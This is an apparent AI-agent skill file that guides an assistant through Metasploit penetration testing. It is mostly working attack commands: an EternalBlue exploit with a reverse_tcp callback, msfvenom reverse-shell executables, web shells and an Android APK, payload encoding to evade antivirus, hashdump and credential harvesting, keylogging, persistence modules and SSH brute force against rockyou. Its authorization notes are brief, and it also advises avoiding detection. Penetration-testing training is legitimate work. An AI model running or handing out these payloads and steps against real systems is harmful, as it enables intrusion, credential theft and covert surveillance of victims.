This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
Add this skill
npx mdskills install sickn33/metasploit-frameworkComprehensive pentesting skill with detailed phase-based workflows and extensive command references
1---2name: Metasploit Framework3description: This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.4metadata:5 author: zebbern6 version: "1.1"7---89# Metasploit Framework1011## Purpose1213Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.1415## Prerequisites1617### Required Tools18```bash19# Metasploit comes pre-installed on Kali Linux20# For other systems:21curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall22chmod 755 msfinstall23./msfinstall2425# Start PostgreSQL for database support26sudo systemctl start postgresql27sudo msfdb init28```2930### Required Knowledge31- Network and system fundamentals32- Understanding of vulnerabilities and exploits33- Basic programming concepts34- Target enumeration techniques3536### Required Access37- Written authorization for testing38- Network access to target systems39- Understanding of scope and rules of engagement4041## Outputs and Deliverables42431. **Exploitation Evidence** - Screenshots and logs of successful compromises442. **Session Logs** - Command history and extracted data453. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references464. **Post-Exploitation Artifacts** - Credentials, files, and system information4748## Core Workflow4950### Phase 1: MSFConsole Basics5152Launch and navigate the Metasploit console:5354```bash55# Start msfconsole56msfconsole5758# Quiet mode (skip banner)59msfconsole -q6061# Basic navigation commands62msf6 > help # Show all commands63msf6 > search [term] # Search modules64msf6 > use [module] # Select module65msf6 > info # Show module details66msf6 > show options # Display required options67msf6 > set [OPTION] [value] # Configure option68msf6 > run / exploit # Execute module69msf6 > back # Return to main console70msf6 > exit # Exit msfconsole71```7273### Phase 2: Module Types7475Understand the different module categories:7677```bash78# 1. Exploit Modules - Target specific vulnerabilities79msf6 > show exploits80msf6 > use exploit/windows/smb/ms17_010_eternalblue8182# 2. Payload Modules - Code executed after exploitation83msf6 > show payloads84msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp8586# 3. Auxiliary Modules - Scanning, fuzzing, enumeration87msf6 > show auxiliary88msf6 > use auxiliary/scanner/smb/smb_version8990# 4. Post-Exploitation Modules - Actions after compromise91msf6 > show post92msf6 > use post/windows/gather/hashdump9394# 5. Encoders - Obfuscate payloads95msf6 > show encoders96msf6 > set ENCODER x86/shikata_ga_nai9798# 6. Nops - No-operation padding for buffer overflows99msf6 > show nops100101# 7. Evasion - Bypass security controls102msf6 > show evasion103```104105### Phase 3: Searching for Modules106107Find appropriate modules for targets:108109```bash110# Search by name111msf6 > search eternalblue112113# Search by CVE114msf6 > search cve:2017-0144115116# Search by platform117msf6 > search platform:windows type:exploit118119# Search by type and keyword120msf6 > search type:auxiliary smb121122# Filter by rank (excellent, great, good, normal, average, low, manual)123msf6 > search rank:excellent124125# Combined search126msf6 > search type:exploit platform:linux apache127128# View search results columns:129# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description130```131132### Phase 4: Configuring Exploits133134Set up an exploit for execution:135136```bash137# Select exploit module138msf6 > use exploit/windows/smb/ms17_010_eternalblue139140# View required options141msf6 exploit(windows/smb/ms17_010_eternalblue) > show options142143# Set target host144msf6 exploit(...) > set RHOSTS 192.168.1.100145146# Set target port (if different from default)147msf6 exploit(...) > set RPORT 445148149# View compatible payloads150msf6 exploit(...) > show payloads151152# Set payload153msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp154155# Set local host for reverse connection156msf6 exploit(...) > set LHOST 192.168.1.50157msf6 exploit(...) > set LPORT 4444158159# View all options again to verify160msf6 exploit(...) > show options161162# Check if target is vulnerable (if supported)163msf6 exploit(...) > check164165# Execute exploit166msf6 exploit(...) > exploit167# or168msf6 exploit(...) > run169```170171### Phase 5: Payload Types172173Select appropriate payload for the situation:174175```bash176# Singles - Self-contained, no staging177windows/shell_reverse_tcp178linux/x86/shell_bind_tcp179180# Stagers - Small payload that downloads larger stage181windows/meterpreter/reverse_tcp182linux/x86/meterpreter/bind_tcp183184# Stages - Downloaded by stager, provides full functionality185# Meterpreter, VNC, shell186187# Payload naming convention:188# [platform]/[architecture]/[payload_type]/[connection_type]189# Examples:190windows/x64/meterpreter/reverse_tcp191linux/x86/shell/bind_tcp192php/meterpreter/reverse_tcp193java/meterpreter/reverse_https194android/meterpreter/reverse_tcp195```196197### Phase 6: Meterpreter Session198199Work with Meterpreter post-exploitation:200201```bash202# After successful exploitation, you get Meterpreter prompt203meterpreter >204205# System Information206meterpreter > sysinfo207meterpreter > getuid208meterpreter > getpid209210# File System Operations211meterpreter > pwd212meterpreter > ls213meterpreter > cd C:\\Users214meterpreter > download file.txt /tmp/215meterpreter > upload /tmp/tool.exe C:\\216217# Process Management218meterpreter > ps219meterpreter > migrate [PID]220meterpreter > kill [PID]221222# Networking223meterpreter > ipconfig224meterpreter > netstat225meterpreter > route226meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1227228# Privilege Escalation229meterpreter > getsystem230meterpreter > getprivs231232# Credential Harvesting233meterpreter > hashdump234meterpreter > run post/windows/gather/credentials/credential_collector235236# Screenshots and Keylogging237meterpreter > screenshot238meterpreter > keyscan_start239meterpreter > keyscan_dump240meterpreter > keyscan_stop241242# Shell Access243meterpreter > shell244C:\Windows\system32> whoami245C:\Windows\system32> exit246meterpreter >247248# Background Session249meterpreter > background250msf6 exploit(...) > sessions -l251msf6 exploit(...) > sessions -i 1252```253254### Phase 7: Auxiliary Modules255256Use auxiliary modules for reconnaissance:257258```bash259# SMB Version Scanner260msf6 > use auxiliary/scanner/smb/smb_version261msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24262msf6 auxiliary(...) > run263264# Port Scanner265msf6 > use auxiliary/scanner/portscan/tcp266msf6 auxiliary(...) > set RHOSTS 192.168.1.100267msf6 auxiliary(...) > set PORTS 1-1000268msf6 auxiliary(...) > run269270# SSH Version Scanner271msf6 > use auxiliary/scanner/ssh/ssh_version272msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24273msf6 auxiliary(...) > run274275# FTP Anonymous Login276msf6 > use auxiliary/scanner/ftp/anonymous277msf6 auxiliary(...) > set RHOSTS 192.168.1.100278msf6 auxiliary(...) > run279280# HTTP Directory Scanner281msf6 > use auxiliary/scanner/http/dir_scanner282msf6 auxiliary(...) > set RHOSTS 192.168.1.100283msf6 auxiliary(...) > run284285# Brute Force Modules286msf6 > use auxiliary/scanner/ssh/ssh_login287msf6 auxiliary(...) > set RHOSTS 192.168.1.100288msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt289msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt290msf6 auxiliary(...) > run291```292293### Phase 8: Post-Exploitation Modules294295Run post modules on active sessions:296297```bash298# List sessions299msf6 > sessions -l300301# Run post module on specific session302msf6 > use post/windows/gather/hashdump303msf6 post(windows/gather/hashdump) > set SESSION 1304msf6 post(...) > run305306# Or run directly from Meterpreter307meterpreter > run post/windows/gather/hashdump308309# Common Post Modules310# Credential Gathering311post/windows/gather/credentials/credential_collector312post/windows/gather/lsa_secrets313post/windows/gather/cachedump314post/multi/gather/ssh_creds315316# System Enumeration317post/windows/gather/enum_applications318post/windows/gather/enum_logged_on_users319post/windows/gather/enum_shares320post/linux/gather/enum_configs321322# Privilege Escalation323post/windows/escalate/getsystem324post/multi/recon/local_exploit_suggester325326# Persistence327post/windows/manage/persistence_exe328post/linux/manage/sshkey_persistence329330# Pivoting331post/multi/manage/autoroute332```333334### Phase 9: Payload Generation with msfvenom335336Create standalone payloads:337338```bash339# Basic Windows reverse shell340msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe341342# Linux reverse shell343msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf344345# PHP reverse shell346msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php347348# Python reverse shell349msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py350351# PowerShell payload352msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1353354# ASP web shell355msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp356357# WAR file (Tomcat)358msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war359360# Android APK361msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk362363# Encoded payload (evade AV)364msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe365366# List available formats367msfvenom --list formats368369# List available encoders370msfvenom --list encoders371```372373### Phase 10: Setting Up Handlers374375Configure listener for incoming connections:376377```bash378# Manual handler setup379msf6 > use exploit/multi/handler380msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp381msf6 exploit(multi/handler) > set LHOST 192.168.1.50382msf6 exploit(multi/handler) > set LPORT 4444383msf6 exploit(multi/handler) > exploit -j384385# The -j flag runs as background job386msf6 > jobs -l387388# When payload executes on target, session opens389[*] Meterpreter session 1 opened390391# Interact with session392msf6 > sessions -i 1393```394395## Quick Reference396397### Essential MSFConsole Commands398399| Command | Description |400|---------|-------------|401| `search [term]` | Search for modules |402| `use [module]` | Select a module |403| `info` | Display module information |404| `show options` | Show configurable options |405| `set [OPT] [val]` | Set option value |406| `setg [OPT] [val]` | Set global option |407| `run` / `exploit` | Execute module |408| `check` | Verify target vulnerability |409| `back` | Deselect module |410| `sessions -l` | List active sessions |411| `sessions -i [N]` | Interact with session |412| `jobs -l` | List background jobs |413| `db_nmap` | Run nmap with database |414415### Meterpreter Essential Commands416417| Command | Description |418|---------|-------------|419| `sysinfo` | System information |420| `getuid` | Current user |421| `getsystem` | Attempt privilege escalation |422| `hashdump` | Dump password hashes |423| `shell` | Drop to system shell |424| `upload/download` | File transfer |425| `screenshot` | Capture screen |426| `keyscan_start` | Start keylogger |427| `migrate [PID]` | Move to another process |428| `background` | Background session |429| `portfwd` | Port forwarding |430431### Common Exploit Modules432433```bash434# Windows435exploit/windows/smb/ms17_010_eternalblue436exploit/windows/smb/ms08_067_netapi437exploit/windows/http/iis_webdav_upload_asp438exploit/windows/local/bypassuac439440# Linux441exploit/linux/ssh/sshexec442exploit/linux/local/overlayfs_priv_esc443exploit/multi/http/apache_mod_cgi_bash_env_exec444445# Web Applications446exploit/multi/http/tomcat_mgr_upload447exploit/unix/webapp/wp_admin_shell_upload448exploit/multi/http/jenkins_script_console449```450451## Constraints and Limitations452453### Legal Requirements454- Only use on systems you own or have written authorization to test455- Document all testing activities456- Follow rules of engagement457- Report all findings to appropriate parties458459### Technical Limitations460- Modern AV/EDR may detect Metasploit payloads461- Some exploits require specific target configurations462- Firewall rules may block reverse connections463- Not all exploits work on all target versions464465### Operational Security466- Use encrypted channels (reverse_https) when possible467- Clean up artifacts after testing468- Avoid detection by monitoring systems469- Limit post-exploitation to agreed scope470471## Troubleshooting472473| Issue | Solutions |474|-------|-----------|475| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |476| Exploit fails/no session | Run `check`; verify payload architecture; check firewall; try different payloads |477| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |478| Payload detected by AV | Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates |479
Full transparency — inspect the skill content before installing.